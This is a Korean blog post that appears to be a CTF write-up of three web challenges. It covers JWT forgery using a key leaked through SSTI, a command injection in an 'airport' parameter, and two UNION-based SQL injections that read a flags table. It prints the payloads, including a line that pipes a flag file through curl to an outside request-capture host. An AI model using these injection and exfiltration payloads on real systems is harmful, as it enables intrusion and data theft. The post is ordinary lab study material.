Web hacking CTF

k4bunny·2025년 8월 7일

Layer7

목록 보기
13/13

Rednose U

가장 까다로운 문제였다.

문제 파일 구성은 저렇게 되어있다.
main.py를 분석해보았다.

JWT를 각각의 유저에게 발급해준다.
admin의 JWT Key는 이 방법으로는 고유 Key값을 알 수 없기 때문에 알 수 없다.

JWT는 auth라는 이름의 cookie에 저장된다.

이 때 특정 파라미터들은 id가 admin이고, isAdmin이 True가 되야한다.
단순히 admin으로 위조하는 것이 불가능한 것을 확인했다.

로그인 과정에서 아이디에 대소문자 알파벳을 제외한 모든 특수기호를 블랙리스트로 필터링하는 과정이 있기에 SQL injection은 불가능한 것을 알 수 있다.

하지만 SSTI 공격 기법은 가능해보였다.

다음을 뜯어서 확인해본 결과 JWTkey를 알 수 있었다.


여기서 페이로드의 base64의 값을
id : admin
isAdmin : true
로 바꾼 뒤 시크릿의 값을 아까 찾은 Key값으로 바꾼다.

쿠키 값을 변조한 후, 다음으로 해야할 것은

이 코드에서는 airport의 입력값을 필터링 과정없이 shell로 가져가기 때문에 command injection 공격을 시도할 수 있다.

파일에 들어있는 flag.txt를 읽어보았는데 안되길래 뭔가해서 ls로 확인해보니 파일명이 틀렸다. (...)
아무튼 그래서 올바른 위치를 타겟으로 다시 쿼리를 짜니

/api/metar?airport=;cat flag_qaiu.txt | curl -d @- https://fufvaya.request.dreamhack.games


됐다.

W2


다음과 같이 테이블에 끼워넣는다.

다음의 필터링에 유의하며 문제를 풀이해보면,

이 소스는 로그인 페이지를 걸쳐 profil 페이지로 넘어가는 구조이다.

프로필 페이지 소스를 보면 user_id 쿼리를 그대로 가져다가 출력한다.

따라서 저 부분을 flags 테이블에서 불러오는 것으로 변조하면 프로필 페이지에 플래그가 노출될 것이다.

프로필 페이지에 접근하기 위해선 무조건 로그인이 되어있어야하기에 일단 guest로 로그인 한 후, 파라미터를 변조해보겠다.

다음과 같은 flags 테이블에서 flag_value의 값들을 출력하는 쿼리를 짜서 변조해보면

/profile?id=-1 UNION SELECT flag_value, 'a', 'b', 'c' FROM flags--

이때 a,b,c는 비어있는 Email, Role, Secret을 채워넣기 위해 쓴 것이다.

정상적으로 풀렸다.

SRS

소스 코드를 분석해보기 위해 문제 파일을 다운로드 받았다.
소스 파일은 app.py와 flag_server.py가 있었고, 두 개 다 열어보았다.

다음은 flag_server.py 코드인데
'flag' : ...
다음과 같은 형식으로 플래그가 대놓고 들어나 있었다.

T야?

문제 사이트에 들어가보았다.

다음과 같은 로그인 창만 놓여있고, 특이사항은 보이지 않았다.
따라서 소스 코드를 분석해보았는데,

시작할 때, db에서 users라는 테이블과 flags라는 테이블 두 개를 만든다.

다음과 같이 INSERT를 통해 값들도 채워준다.
users와 admin은 각각 암호화된 비밀번호를 갖고, flags는 flag_value라는 값을 갖는데
표면으로 들어나지 않고 REDACYED가 적혀있는 것을 보아, 말 그대로 플래그 값을 지니는 것 같았다.

username과 password를 별도의 처리과정 없이 입력 값 그대로 가져가기 때문에 SQL injection을 할 수 있는 환경이 되었다.
이 쿼리는 말 그대로 입력값을 그대로 db에 명령어로 써넣고 지정 값을 가져오기 때문에, users테이블에서 SELECT를 ' 명령어로 종료시키고 flags 테이블로 전환하여 SELECT를 해오면 된다.

로그인에 성공시 출력되는 것은 username이기에 flag_value를 username 대신 출력해주는 쿼리를 짜보면 다음과 같다.

username = ' UNION SELECT 1, flag_value, 'x', 'x' FROM flags --
password = 아무거나

profile
배고파요 ..

0개의 댓글